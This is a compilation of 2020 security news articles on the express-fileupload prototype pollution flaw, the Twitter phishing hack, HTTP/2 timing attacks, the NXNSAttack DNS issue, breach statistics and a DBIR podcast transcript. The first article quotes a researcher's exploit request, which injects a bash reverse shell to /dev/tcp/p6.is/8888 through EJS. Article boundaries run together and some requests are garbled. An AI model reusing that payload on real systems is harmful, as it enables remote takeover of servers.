Flaw in popular NodeJS ‘express-fileupload’ module allows DoS attacks and code injection 5.8.20 AttackSecurityaffairs
Expert found a flaw in a popular NodeJS module that can allow attackers to perform a denial-of-service (DoS) attack on a server or get arbitrary code execution. The NodeJS module “express-fileupload,” which has more that 7.3 million times downloads from the npm repository. The NodeJS module is affected by a ‘Prototype Pollution’ CVE-2020-7699 vulnerability that can allow attackers to perform a denial-of-service (DoS) attack on a server or inject arbitrary code.
“This affects the package express-fileupload before 1.1.8. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.” reads the NIST’s description.
Unfortunately, the actual number of installs could be greater because developers could download the module from alternative repositories, including GitHub and mirror websites.
Prototypes are used to define a JavaScript object’s default structure and default values, they are essential to specify an expected structure when no values are set.
An attacker that is able to modify a JavaScript object prototype can make an application crash and change behavior if it doesn’t receive the expected values.
Due to the diffusion of JavaScript, the exploitation of prototype pollution flaws could have serious consequences on web applications.
Prototyping attacks consist of injecting incompatible types of objects into existing ones to trigger errors that could lead to Denial of Service (DoS) condition or arbitrary code execution, including the establishment of a remote shell.
According to the security researcher Posix who discovered the vulnerability, the issue leverages the “parseNested” feature implemented by the express-fileupload.
The express-fileupload module implements several options for uploading and managing files in the nodejs application. One of the options is the parseNested which makes argument flatten into nested objects.
“Therefore, if we provide {"a.b.c": true} as an input, Internally, It will used as {"a": {"b": {"c": true}}} ” reads the post published by Posix.
app.listen(7777) Upon providing a payload in the “Content-Disposition” HTTP header, an attacker can provide a “__proto__.toString” value to trigger the attack.
“Therefore, configure and run the express server using express-fileupload in the above form.” continues the post.
POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=——–1566035451 Content-Length: 123
content ———-1566035451– The “__proto__” mutator can be used to modify JavaScript’s “Prototype” property as inherited by all JS objects and structures.
This means that the above HTTP request will override and corrupt the build-in “toString” method of every object present in users’ code.
“If Object.prototype.toString can be polluted, this will cause an error, and for every request, express [sic] always returns 500 error,” continues the researcher.
The researcher also explained that an attacker could exploit the same flaw to get a shell on the vulnerable system. For this variant of the attack, it is necessary that the vulnerable “express-fileupload” version used by the application was also using the templating engine EJS (Embedded JavaScript templates).
“The simplest way to obtain shell through prototype solution in the express application is by using the ejs. Yes, There is a limitation to whether the application should be using the ejs template engine” continues the expert.
An attacker can trigger the issue by sending an HTTP request that overwrites the “outputFunctionName” option of EJS.
The payload below exploits prototype pollution within express-fileupload, and instructs EJS (should it be in use) to execute a NodeJS “child_process.” This process can be used to get a reverse shell to the attacker’s computer.
POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=--------1566035451 Content-Length: 221
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x ----------1566035451-- The good news is that immediately after receiving the researcher’s report, the “express-fileupload” fixed the vulnerability. Users are recommended to get the latest 1.1.9 version from the npm repository.
Twitter: Epic Account Hack Caused by Mobile Spearphishing 1.8.2020 AttackSocialThreatpost
Hackers “mislead certain employees” to gain access to internal tools to take over high-profile accounts and push out a Bitcoin scam.
A mobile spearphishing attack targeting “a small number of employees” is what led to the unprecedented, major attack earlier in the month on high-profile Twitter accounts to push out a Bitcoin scam.
The company posted an update late Thursday on the situation, which has been unfolding since July 15, when 130 accounts of high-profile users such as Bill Gates, Elon Musk, Apple and Uber each were hijacked at the same time to promote a bogus advance-fee cryptocurrency deal.
“This attack relied on a significant and concerted attempt to mislead certain employees, and exploit human vulnerabilities, to gain access to our internal systems,” the company said in its update. “This was a striking reminder of how important each person on our team is in protecting our service.”
On the day of the attack, Twitter revealed that the accounts fell victim to a compromise of the company’s internal systems by a group of unidentified hackers that managed to access Twitter company tools and secure employee privileges. Until Thursday, Twitter had not yet confirmed exactly how attackers got access to those internal tools, a point that the company has now clarified.
The attack required threat actors to obtain access to both Twitter’s internal network via specific employee credentials, the company said Thursday.
Since not all of the employees that were initially targeted had permissions to use the account management tools key to the attack, the attackers used a two-step approach to hack their way in, according to Twitter. First they used the initial credentials they phished to access some of Twitter’s internal systems and learn information about company processes, according to the post.
“This knowledge then enabled them to target additional employees who did have access to our account-support tools,” the company said. “Using the credentials of employees with access to these tools, the attackers targeted 130 Twitter accounts, ultimately tweeting from 45, accessing the [direct messages (DM)] inbox of 36, and downloading the Twitter Data of seven.”
An elected official in the Netherlands was one of those whose DMs (direct messages) were leaked; however, attackers did not access data for any of the former U.S. elected officials whose accounts were breached, the company said.
Once it was aware of the attack, Twitter immediately locked down thousands of verified accounts belonging to elite Twitter users and high-profile companies to try to prevent hackers from perpetrating the scam. The attack involved sending tweets from each of the hijacked accounts to promote a bogus Bitcoin deal, which promised to double the value of Bitcoin currency sent to one specific wallet.
Twitter acknowledged Thursday that there has been “concern following this incident around our tools and levels of employee access,” and said that it’s taking steps and updating its account tools to make them more “sophisticated” to prevent such a breach in the future.
Those steps include significantly limiting access to internal tools and systems to ensure ongoing account security while the company completes its investigation. This unfortunately will result in some disruption of user account service, including limiting access to the Twitter Data download feature and other processes, Twitter acknowledged.
“We will be slower to respond to account support needs, reported tweets and applications to our developer platform,” the company said in the update. “We’re sorry for any delays this causes, but we believe it’s a necessary precaution as we make durable changes to our processes and tooling as a result of this incident.”
The company continues to investigate the attack and work with “appropriate authorities” to identify and those responsible. In the meantime, there continues to be widespread speculation and reported evidence about who may be behind the hack, but no solid conclusions.
Some of the strongest evidence about the potential perpetrators was published in a number of reports pointing to the sale of Twitter account access by hackers obsessed with so-called “OG handles,” which are short-character profile names that confer a measure of status and wealth in certain online communities.
Another plausible theory also emerged around screenshots of Twitter’s internal tools that appeared on underground forums ahead of the attacks due to a bribe of a lone rogue Twitter employee, but Twitter later refuted this claim.
The FBI is said to be taking the lead in the investigation due to the massive privacy, legislative and business ramifications of the incident.
Twitter Employees Targeted With Phone Spear-Phishing in Recent Attack 31.7.20 AttackPhishingSecurityweek
Twitter on Thursday revealed that several employees were targeted with phone spear-phishing in a social engineering attack leading to the recent security incident.
A total of 130 accounts were targeted in the incident, with hackers abusing internal Twitter systems and tools to reset the passwords for 45 of them. The attackers also accessed the DM inbox of 36 accounts and downloaded the Twitter data of 7.
Supposedly the work of young hackers looking to compromise high-profile, OG accounts, the incident resulted in the inbox of an elected Dutch official being accessed as well.
On Thursday, Twitter confirmed that the hackers targeted several of its employees to gain access to internal systems and gather information on which employees might have access to the tools needed to reset passwords and take over accounts.
“Not all of the employees that were initially targeted had permissions to use account management tools, but the attackers used their credentials to access our internal systems and gain information about our processes. This knowledge then enabled them to target additional employees who did have access to our account support tools,” the social media platform revealed.
Twitter also underlines that its support teams use proprietary tools to resolve issues that users report, to review content, and respond to reports.
“Access to these tools is strictly limited and is only granted for valid business reasons. We have zero tolerance for misuse of credentials or tools, actively monitor for misuse, regularly audit permissions, and take immediate action if anyone accesses account information without a valid business reason,” the company says.
Following the attack, the social platform is looking at means to improve its tools and controls, especially considering the concentrated effort that attackers showed in targeting specific employees.
Twitter also notes that it has already contacted the impacted account owners and worked with them to restore access after initially locking them out to contain the security incident. The company also engaged with law enforcement to investigate the attack.
“Since the attack, we’ve significantly limited access to our internal tools and systems to ensure ongoing account security while we complete our investigation. As a result, some features (namely, accessing the Your Twitter Data download feature) and processes have been impacted. We will be slower to respond to account support needs, reported Tweets, and applications to our developer platform,” the company says.
Twitter also notes that it plans on intensifying employee training and to accelerate improvements to its tools to ensure better security and more efficient detection and prevention of inappropriate access to accounts.
New Attack Leverages HTTP/2 for Effective Remote Timing Side-Channel Leaks 31.7.20 AttackThehackernews Security researchers have outlined a new technique that renders a remote timing-based side-channel attack more effective regardless of the network congestion between the adversary and the target server. Remote timing attacks that work over a network connection are predominantly affected by variations in network transmission time (or jitter), which, in turn, depends on the load of the network connection at any given point in time. But since measuring the time taken to execute cryptographic algorithms is crucial to carrying out a timing attack and consequently leak information, the jitter on the network path from the attacker to the server can make it impractical to successfully exploit timing side-channels that rely on a small difference in execution time. The new method, called Timeless Timing Attacks (TTAs) by researchers from DistriNet Research Group and New York University Abu Dhabi, instead leverages multiplexing of network protocols and concurrent execution by applications, thus making the attacks immune to network conditions. "These concurrency-based timing attacks infer a relative timing difference by analyzing the order in which responses are returned, and thus do not rely on any absolute timing information," the researchers said. Using HTTP/2's Request Multiplexing to Reduce Jitter Unlike the typical timing-based attacks, wherein the execution times are measured independently and sequentially, the latest technique attempts to extract information from the order and the relative timing difference between two concurrently executed requests without relying on any timing information. To do so, a bad actor initiates a pair of HTTP/2 requests to the victim server either directly or using a cross-site — such as a malicious advertisement or tricking the victim into visiting an attacker-controlled web page — to launch requests to the server via JavaScript code. The server returns a result that contains the difference in response time between the second request and the first. The TTA, then, works by taking into account whether this difference is positive or negative, where positive indicates that the processing time of the first request takes less time than processing the second request. "On web servers hosted over HTTP/2, we find that a timing difference as small as 100ns can be accurately inferred from the response order of approximately 40,000 request-pairs," the researchers noted. "The smallest timing difference that we could observe in a traditional timing attack over the Internet was 10μs, 100 times higher than our concurrency-based attack." A limitation of this approach is that attacks aimed at servers using HTTP/1.1 cannot exploit the protocol to coalesce multiple requests in a single network packet, thereby requiring that a concurrent timing attack be performed using multiple connections instead of sending all requests over the same connection. This stems from HTTP/1.1's use of head-of-line (HOL) blocking, which causes all requests over the same connection to be handled sequentially, whereas HTTP/2 addresses this issue through request multiplexing. Currently, 37.46% of all desktop websites are served over HTTP/2, a number that increases further to 54.04% for sites that support HTTPS. Although this makes a huge number of websites susceptible to TTAs, the researchers note that many of them rely on content delivery networks (CDN), such as Cloudflare, which still uses HTTP/1.1 for connections between the CDN and the origin site. Tor Onion Service and Wi-Fi EAP-PWD Vulnerable But in a twist, the researchers found that concurrency-based timing attacks can also be deployed against Tor onion services, including those that only support HTTP/1.1, allowing an attacker to create two Tor connections to a particular onion service, and then simultaneously send a request on each of the connections to measure a timing difference of 1μs. That's not all. The EAP-PWD authentication method, which uses a shared password between the server and supplicant when connecting to Wi-Fi networks, is rendered vulnerable to dictionary attacks by exploiting a timing leak in the Dragonfly handshake protocol to reveal the information about the password itself. Although timing attacks can be countered by ensuring constant-time execution, it's easier said than done, especially for applications that rely on third-party components. Alternatively, the researchers suggest adding a random delay to incoming requests and ensure that different requests are not combined in a single packet. This is not the first time remote timing attacks have been employed to leak sensitive information. Researchers have previously demonstrated it's possible to exploit cache side-channels to sniff out SSH passwords from Intel CPU cache (NetCAT) and even achieve Spectre-like speculative execution over a network connection (NetSpectre). "Since the NetSpectre attacks target applications above the network layer, an attacker could, in theory, leverage our concurrency-based timing attacks to improve the timing accuracy," the researchers said. The findings will be presented at the USENIX Security Symposium later this year. The researchers have also published a Python-based tool to test HTTP/2 servers for TTA vulnerabilities.
Steganography Anchors Pinpoint Attacks on Industrial Targets 30.5.2020 threatpost AttackICS
Ongoing spear-phishing attacks aim at stolen Windows credentials for ICS suppliers worldwide.
A targeted series of attacks on suppliers of equipment and software for industrial enterprises is playing out globally, researchers said, hinging on phishing and a steganography tactic to hide malware on public, legitimate image resources.
According to Kaspersky ICS CERT, the attacks seem bent on stealing Windows credentials in order to lay the groundwork for lateral movement inside a target network and follow-on activity. They have so far been seen being mounted on systems in Germany, Italy, Japan and the U.K. The kill chain starts with phishing emails, which are tailored and customized to the specific language for each victim.
“For example, in the case of an attack on a company from Japan, the text of a phishing email and a Microsoft Office document containing a malicious macro were written in Japanese,” researchers explained, in an analysis on Thursday. “Also, to successfully decrypt the malware module, the operating system must have had a Japanese localization as well.”
The emails contain an “urgent request” to open an attached document. It’s an Excel spreadsheet with a malicious macro; users are requested to enable active content, which triggers the malicious PowerShell script.
“The script is executed in spite of the configured policy, in a hidden window and without loading the user configuration,” according to Kaspersky.
It goes on to randomly select one of the URL addresses included in the coding – which leads to the legitimate public image hosting services called imgur.com and imgbox.com. The script then downloads an image and starts a data-extraction procedure.
Steganography Tactic The data is hidden in the downloaded image, and is parsed out by the malware from pixels as defined by an algorithm in the script. Hiding malware in an image file, known as steganography, is a well-known though not that common way to circumvent detection – many filters and gateways let image file formats pass without too much scrutiny.
In this case, the data is encoded with several encryption layers (using the Base64 and RSA algorithms), which, when decrypted and decoded, is assembled into a secondary PowerShell script, which Kaspersky flagged as an advanced technique.
“The malicious module is encoded in an image using steganographic techniques and the image is hosted on legitimate web resources,” according to the research. “This makes it virtually impossible to detect such malware using network traffic monitoring and control tools while it is being downloaded. From the standpoint of technical solutions, this activity is indistinguishable from sending ordinary requests to legitimate image hosting services.”
Here too, the geolocation aspect of the campaign is evident.
“Curiously, the script has an error in its code, included on purpose, with the exception message used as the decryption key,” said the researchers. “Notably, the text in the exception message depends on the language pack installed in the operating system. Apparently, the attackers prepare the malicious script specifically for victims from a particular country.”
The use of the exception message as the decryption key for the malicious payload is notable, the researchers said – and it also can help the malware evade detection in sandboxes. Also, it “makes analyzing the functionality of the malware significantly more difficult for researchers if they do not know what language pack was used on the victim’s computer,” they said.
Meanwhile, the second PowerShell script in turn unpacks itself into a third PowerShell script, which turns out to be an obfuscated sample of the Mimikatz utility, used to steal Windows account credentials from a compromised system.
“Criminals can use this information to gain access to other systems on the enterprise network and move laterally,” according to the analysis. “It is a particularly dangerous situation if attackers obtain the credentials for accounts with domain administrator privileges.”
The ultimate goal of the criminals remains unknown, researchers said.
“The use of [steganography], combined with the pinpoint nature of the infections, indicates that these were targeted attacks,” the researchers concluded. “It is a matter of concern that attack victims include contractors of industrial enterprises. If the attackers are able to harvest the credentials of a contractor organization’s employees, this can lead to a range of negative consequences, from the theft of sensitive data to attacks on industrial enterprises via remote administration tools used by the contractor.”
New Yorker Indicted for Stealing Card Data via SQL Injection Attacks 30.5.2020 Securityweek Attack The United States Department of Justice (DoJ) this week announced that a New York City man was charged for his participation in a cybercrime scheme involving the theft and trafficking of payment card data.
The man, Vitalii Antonenko, 28, who was arrested in March 2019, was indicted for conspiring to gain unauthorized access to computer networks and traffic in unauthorized access devices, and for money laundering.
Antonenko was arrested and detained after his arrival from Ukraine last year. He was carrying computers and other digital media holding “hundreds of thousands of stolen payment card numbers,” the DoJ says.
According to the indictment, Antonenko and co-conspirators searched the Internet for vulnerable networks containing card account numbers, expiration dates, and card verification values, along with other personally identifiable information (PII).
Then, employing SQL injection attacks, they exfiltrated data of interest and put it up for sale on online criminal marketplaces.
“Once a co-conspirator sold the data, Antonenko and others used Bitcoin as well as traditional bank and cash transactions to launder the proceeds in order to disguise their nature, location, source, ownership, and control,” the DoJ says.
Antonenko faces up to 20 years in prison and a $500,000 fine for the charges related to money laundering conspiracy. The charges related to unauthorized access carry a sentence of up to five years in prison and a $250,000 fine.
NetBeans Projects on GitHub Targeted in Apparent Supply Chain Attack 30.5.2020 Securityweek Attack GitHub revealed on Thursday that tens of open source NetBeans projects hosted on its platform were targeted by a piece of malware as part of what appears to be a supply chain attack.
GitHub learned about the malware, which has been named Octopus Scanner, on March 9 from a security researcher who noticed that several repositories hosted on GitHub had been serving malware, likely without their owners’ knowledge.
An analysis led to the discovery of 26 affected NetBeans projects that had been backdoored. The malware is designed to add malicious code to both project files and newly created JAR files. JAR files got infected with a dropper whose payload was designed to ensure persistence and spawn a remote administration tool (RAT). A RAT is delivered to both UNIX-like and Windows systems.
The malware is also designed to prevent new project builds from replacing ones that have already been infected.
When GitHub analyzed the malicious files in March — the company identified four samples — they were only detected by a handful of antimalware engines on VirusTotal. The detection rate has increased since then, but it’s currently still at only 20/60.
Open source projects such as the ones targeted by Octopus Scanner can get cloned, forked and used by many others, enabling the malware to spread even more, the company warned.
“Since the primary-infected users are developers, the access that is gained is of high interest to attackers since developers generally have access to additional projects, production environments, database passwords, and other critical assets. There is a huge potential for escalation of access, which is a core attacker objective in most cases,” GitHub said.
The fact that the malware specifically targets NetBeans projects is interesting considering that there are other, more popular Java IDEs.
“If malware developers took the time to implement this malware specifically for NetBeans, it means that it could either be a targeted attack, or they may already have implemented the malware for build systems such as Make, MsBuild, Gradle and others as well and it may be spreading unnoticed,” GitHub noted.
The company has pointed out that it provides several features that can help maintain the integrity and security of the open source software supply chain, and it has promised to continue making improvements.
GitHub warned developers last month that their accounts may have been compromised as a result of a sophisticated phishing campaign.
External attacks on cloud accounts grew 630 percent from January to April
The McAfee report uncovers a correlation between the increased use of cloud services and collaboration tools, such as Cisco WebEx, Zoom, Microsoft Teams and Slack during the COVID-19 pandemic, along with an increase in cyber attacks targeting the cloud.
There are significant and potentially long-lasting trends that include an increase in the use of cloud services, access from unmanaged devices and the rise of cloud-native threats. These trends emphasize the need for new security delivery models in the distributed work-from-home environment of today–and likely the future.
In the time surveyed, overall enterprise adoption of cloud services spiked by 50 percent, including industries such as manufacturing and financial services that typically rely on legacy on-premises applications, networking and security more than others.
Use of cloud collaboration tools increased by up to 600 percent, with the education sector seeing the most growth as more students are required to adopt distance learning practices. Surging external attacks on cloud accounts
Threat events from external actors increased by 630 percent over the same period. Most of these external attacks targeted collaboration services like Microsoft 365, and were large-scale attempts to access cloud accounts with stolen credentials.
Insider threats remained the same, indicating that working from home has not negatively influenced employee loyalty. Access to the cloud by unmanaged, personal devices doubled, adding another layer of risk for security professionals working to keep their data secure in the cloud.
“While we are seeing a tremendous amount of courage and global goodwill to overcome the pandemic, we also are unfortunately seeing an increase in bad actors looking to exploit the sudden uptick in cloud adoption created by an increase in working from home,” said Rajiv Gupta, Senior VP, Cloud Security, McAfee.
“The risk of threat actors targeting the cloud far outweighs the risk brought on by changes in employee behavior. Mitigating this risk requires cloud-native security solutions that can detect and prevent external attacks and data loss from the cloud and from the use of unmanaged devices.
“Cloud-native security has to be deployed and managed remotely and can’t add any friction to employees whose work from home is essential to the health of their organization.”
How to maintain strong security posture
With cloud-native threats increasing in step with cloud adoption, all industries need to evaluate their security posture to protect against account takeover and data exfiltration. Companies need to safeguard against threat actors attempting to exploit weaknesses in their cloud deployments.
Tips to maintain strong security posture include:
Think cloud-first: A cloud-centric security mindset can support the increase in cloud use and combat cloud-native threats. Enterprises need to shift their focus to data in the cloud and to cloud-native security services so they can maintain full visibility and control with a remote, distributed workforce. Consider your network: Remote work reduces the ability for hub and spoke networking to work effectively with scale. Network controls should be cloud-delivered and should connect remote users directly to the cloud services they need. Consolidate and reduce complexity: Cloud-delivered network security and cloud-native data security should smoothly interoperate, ideally be consolidated to reduce complexity and total cost of ownership and increase security effectiveness and responsiveness.
Microsoft issues mitigation for the NXNSAttack DNS DDoS attack 23.5.2020 Bleepingcomputer Attack
Microsoft has released a security advisory to mitigate the NXNSAttack vulnerability in DNS servers that could be used to amplify a single DNS request into a DDoS attack against authoritative DNS servers.
In a new paper, researchers from Tel Aviv University and The Interdisciplinary Center have revealed a new vulnerability called NXNSAttack that can be used to "used to mount a devastating attack against either or both, recursive resolvers and authoritative servers."
In summary, the NXNSAttack works by an attacker sending a DNS request to a recursive server for a domain under the attacker's control. As this recursive server does not have the authority to resolve the request, it sends a query to the authoritative DNS server for the attacker's domain.
The authoritative server is also under the attacker's control and would respond with a list of servers that the original resolver should query. This list of servers, though, would be the target for the DNS DDoS attack, which would now be queried.
If many requests are made in this manner, it could allow the attacker to quickly amplify the attack to DDoS an authoritative DNS server and make it not responsive.
This attack is illustrated by the image below created by Nic.cz in their blog post regarding the NXNSAttack attack.
NXNSAttack flow (Source: Nic.cz) According to the researchers, this attack has an amplification factor "of more than 1620x on the number of packets exchanged by the recursive resolver," which can be devastating to their targets.
To resolve this vulnerability, DNS server developers have begun to issue advisories and patches for their software. Below is a list of the currently known advisories.
DNS Server Published Advisories ISC BIND Security Advisory · CVE-2020-8616 NLnet Labs Unbound CVE-2020-12662 NIC.CZ Knot Resolver Blog Post · CVE-2020-12667 PowerDNS Security Advisory Microsoft ADV200009 | Windows DNS Server Denial of Service Vulnerability More information about the NXNSAttack can be found at the NXNSAttack.com site created by the researchers, and Nic.cz's blog post is a recommended read.
Mitigating the NXNSAttack attack on Windows DNS servers Microsoft released the 'ADV200009 | Windows DNS Server Denial of Service Vulnerability' security advisory yesterday with mitigation for the NXNSAttack DNS attack.
"An attacker who successfully exploited this vulnerability could cause the DNS Server service to become nonresponsive."
"To exploit this vulnerability an attacker would need to have access to at least one client and a domain that replies with a large volume of referral records, without glue records, that point to external victim sub domains. While resolving a name from the attacker client, for each referral record found, the resolver contacts the victim domain. This action can generate a large number of communications between the recursive resolver and the victim's authoritative DNS server to cause a Distributed Denial of Service (DDoS) attack," Microsoft's ADV200009 security advisory explains.
To mitigate this attack, Microsoft recommends administrators utilize the Set-DnsServerResponseRateLimiting PowerShell cmdlet to enable Response Rate Limiting.
Response Rate Limiting is a configuration option utilized by DNS servers to prevent them from being used in DDoS attacks utilizing DNS amplification.
When enabled, the setting will limit the number of responses or errors a DNS server will send to a single DNS client in a second.
To check your current Response Rate Limiting settings, you can run the Get-DnsServerResponseRateLimiting PowerShell command.
Get-DnsServerResponseRateLimiting command As you can see from the above default settings, the Windows DNS server will only respond to a client five times within one second.
If you want to increase or decrease this amount, you can do so with the Set-DnsServerResponseRateLimiting PowerShell command.
For example, to reduce the number of responses to two per second, you would issue the following command:
Set-DnsServerResponseRateLimiting -ResponsesPerSec 2 Set-DnsServerResponseRateLimiting command A similar command can be used to reduce the number of errors to two per second:
Set-DnsServerResponseRateLimiting -ErrorsPerSec 2 It should be noted that utilizing the Response Rate Limiting feature will prevent a Windows DNS server from being used in a DNS amplification attack against another client. It will not, though, protect the server itself from being impacted.
Unfortunately, Microsoft has not specified what the recommended values are to mitigate this attack.
BleepingComputer has contacted Microsoft for further information but has not heard back.
What can merchants do to avoid falling victim to large-scale ATO attacks?
Account Takeover (ATO) attacks happen when a bad actor gains access to a legitimate customer’s eCommerce store account and uses that account for fraud.
large-scale ATO attacks The impact of ATO attacks
A new Riskified survey shows that ATO attacks have a huge negative impact on customers and merchants, damaging brand reputation and hurting merchants’ bottom lines. Despite that, many merchants lack security measures, and 35% of merchants report that at least 10% of their accounts have been taken over in the last 12 months.
Both merchants and customers value secure store accounts. Customers cite their convenience and the opportunity to earn rewards as notable benefits. Merchants report that account holders shop more often and spend more per purchase than other customers.
But accounts can also increase risk if they are not properly secured. Sixty-six percent of merchants and 69% of customers say they are concerned about their accounts getting hacked. Purchases made using compromised store accounts are hard for merchants to detect, because they look like they are made by legitimate returning customers.
ATO attacks are also very costly for merchants. When fraudsters use compromised accounts to make fraudulent purchases, not only does the merchant lose the revenue and the value of the goods sold, but it also often suffers serious damage to its brand reputation and diminished customer lifetime value.
65% of customers say they would likely stop buying from a merchant if their account was compromised. 54% of customers say they would delete their account, 39% would go to a competitor, and 30% say they would tell their friends to stop shopping with the merchant. Preventing ATOs presents unique challenges
Because ATOs require only a login and stolen password, merchants have less data with which to evaluate the action, making detection and prevention difficult. Many merchants are failing to do so:
27% admit that they do not have measures in place to prevent ATOs. 24% of merchants can’t identify an ATO during a purchase. 14% of merchants say they are not even aware that an ATO has occurred unless a customer contacts them. Only 7.5% of customers learn their accounts were compromised from the merchant. The vast majority spot changes to their accounts or learn of unauthorized purchases.
Merchants that take steps to reduce ATOs risk hurting the customer experience. The most common approach to prevent ATOs is two-factor authentication for login attempts (62%), which can frustrate legitimate customers and increase cart abandonment.
Many merchants also require complex passwords to increase security, with 73% reporting that account passwords must contain a mix of characters, numbers, symbols and uppercase and lowercase letters.
This can help security, but it also increases friction and does little for customers who reuse passwords, meaning that store accounts are at risk through data breaches on other sites. That’s a real concern, as 47% of customers admit to using the same password for two or more online stores. Embracing advanced technology may offer a solution
Because of their potential for serious financial and reputational harm – combined with the difficulty in detection – merchants need to use as much available data as possible to avoid ATOs. For example, merchants should look at the device and network details, proxy usage and previous logins to determine if the entity attempting to access the account is the rightful owner.
If the device or network is unfamiliar or exhibiting characteristics consistent with fraudsters, merchants should exercise caution by notifying the account owner or applying two-factor authentication.
Merchants also need to recognize that the account takeover isn’t the end goal. Fraudsters use ATO attacks to then place fraudulent orders, and merchants have the advantage of seeing that whole process.
An unfamiliar login or a change of details might seem suspicious initially, but if the cart that reaches checkout is low risk, then merchants can likely safely approve the order.
Similarly, if a safe-looking account event is followed by a chargeback, then merchants should take another look at the account activity and, likely, prompt the customer to change their password. When merchants ensure that these parts of the shopping journey – and the teams and solutions that manage them – are coordinated, they can decrease risk and increase revenue.
“Our survey shows that merchants are aware of and concerned with ATO attacks, but they usually lack the ability to identify and prevent them,” said Assaf Feldman, CTO at Riskified.
“Without a dynamic approach that evaluates all relevant data, merchants risk significant financial losses, frustrated customers and damaged brand reputations. Advanced machine-learning solutions can instantly recognize legitimate customers and ease their path to checkout.
“Suspicious actions can be verified or blocked to minimize damage. By doing so, merchants maximize revenue while giving their customers a great experience.” The importance of accounts
Accounts are an important shopping tool for customers:
3% of customers say they have accounts on individual sites for shopping. 75% do most or all of their online shopping with merchants where they have accounts. 42% said they shop more frequently when they have an account.
Merchants get a significant portion of their business from customers with accounts:
More than 67% of the merchants surveyed say at least half of their orders come from customers with accounts. 58% of merchants report that account holders spend more per purchase than customers who use guest checkout. 61% say that account holders purchase more frequently than customers who use guest checkout.
“Companies can combat lateral phishing threats by adopting advanced security solutions that identify suspicious logins and take actions before breaches can occur. These controls enable businesses to verify users’ identities and enforce measures, such as MFA, which can limit an attacker’s chance of hijacking a corporate email address in the first place. Additionally, all companies can learn that it is essential to have full visibility and control over their customer data in order to prevent a breach. To do so, organizations must implement security solutions that remediate misconfigurations, enforce real-time access control, encrypt sensitive data at rest, manage the sharing of data with external parties, and prevent the leakage of sensitive information,” said Anurag Kahol, CTO at Bitglass.
Verizon DBIR: Web App Attacks and Security Errors Surge
Threatpost talks to Verizon DBIR co-author Gabriel Bassett about the top takeaways from this year’s Data Breach Investigations Report.
Verizon’s 2020 Data Breach Investigations Report (DBIR), released Tuesday, analyzed 32,002 security incidents and 3,950 data breaches to sniff out the top causes of data breaches over the past year. While cyber-espionage attacks and malware decreased, other trends, such as security “errors” (cloud misconfigurations, etc.), denial-of-service (DoS) campaigns and web application attacks saw startling growth. DBIR co-author Gabe Bassett, who is the senior information security data scientist at Verizon, talked to Threatpost about the biggest takeaways from the report for this year.
Listen to the full podcast below, or download direct here.
Below find a lightly-edited transcript of the podcast.
Lindsey O’Donnell-Welch: Hello, welcome back to the Threatpost podcast. This is Lindsey O’Donnell Welch with Threatpost and we’re going to talk today about the Verizon data breach investigations report, known as DBIR for short. I’m joined today by Gabriel Bassett, a data scientist and DBIR co-author with Verizon. Gabe, thanks so much for joining us.
Gabriel Bassett: Thank you for having me.
LO: Yeah, so Verizon released its DBIR for 2020. And this report really gives kind of a comprehensive view of data breaches, how they occur, who the victims are, and the attackers and what kind of tools are used, what industries are impacted, and much, much more. So just to start, can you give us kind of a high profile overview about this year’s report, really, how many incidents and breaches were reported and kind of what went into the background report there?
GB: Sure. So the DBIR, the goal is to provide kind of a statistical look at what happens to the normal organization. Right? Rather than the outliers we want to provide data so that an organization can go in and say, what’s most likely to happen to me. And we do that by collecting a lot of incidents and breaches. This year, we collected 32,000 incidents and we analyzed another, almost 4,000 breaches, 3,950, and billions of non-incident records, which are things like malware blocks, vulnerability scans, phishing tests, honeypot data, things like that. The data we get comes from 81 countries around the world, as well as 81 contributors, government organizations, companies, law firms, insurance organizations, both in the U.S. and around the world, who all contribute their data so that we can go together and kind of produce a report that can help organizations understand and plan for their security future.
LO: Right. That’s a lot of data. How long does that take you usually?
GB: The answer is longer than you would expect. So we start collecting data in November. And it takes us really several months just to collect the data, to collect it and aggregate it and normalize it. Normally through February and maybe even a little into March, just to get the data and clean it, especially prior incident and breach data, it all comes in in a schema that we published publicly, because years ago, we realized that you know, when one person said breach, it didn’t mean the same thing as the next person. And so we defined all of our terms so that we can all speak in kind of a common language. And so we get all the breach data into that format, but all the other types of data tend to have kind of their own structure. And so we end up with around 40 contributors or 40 different data sets, that all have to be kind of individually cleaned and analyzed. And you just think, how many days there are a month versus 40 pieces of data. And I mean, it’s an everyday thing for several months just to get the data clean and analyzed and get some of the insights just so we can start writing.
LO: Right. I think that’s a really interesting point about defining the right term, especially in the security industry, where kind of these definitions are so important. And I noticed within the report, just before we get into kind of the further details, that there were a couple of different terms that were being used, including security incidents, data breaches, hacking and things like that. So I just thought that was interesting how you guys kind of clarified that because it is so widespread across the industry in terms of misconfigurations versus actual hacks versus breaches. I think that’s a really good point.
GB: Yeah, it’s really important that we all kind of speak the same language, even if we think we’re speaking the same language that we explain what we’re talking about, so that, if it turns out that we’re wrong, we’re still communicating well, you know, we tend to every year put in some unique charts or such. And, you know, we’ve started taking a page or two to explain some of the unique charts so that people can get the most out of them, because we don’t expect people to come into the report, and just inherently know all of kind of the the specifics about it that, maybe they would know if they read it for the last, you know, 13 years.
LO: Right.
GB:And so we’re glad to be able to provide kind of that commonality to the community.
LO: Right, definitely. Well, so looking at the report that was released this week, I know that every year it really varies in terms of what the different themes are. And for instance, last year, the top rising themes seem to be around cloud misconfigurations, and business email compromise or BEC, and IP theft. So can you talk about three biggest takeaways from the report this year, if you are able to kind of pinpoint those at a very high level?
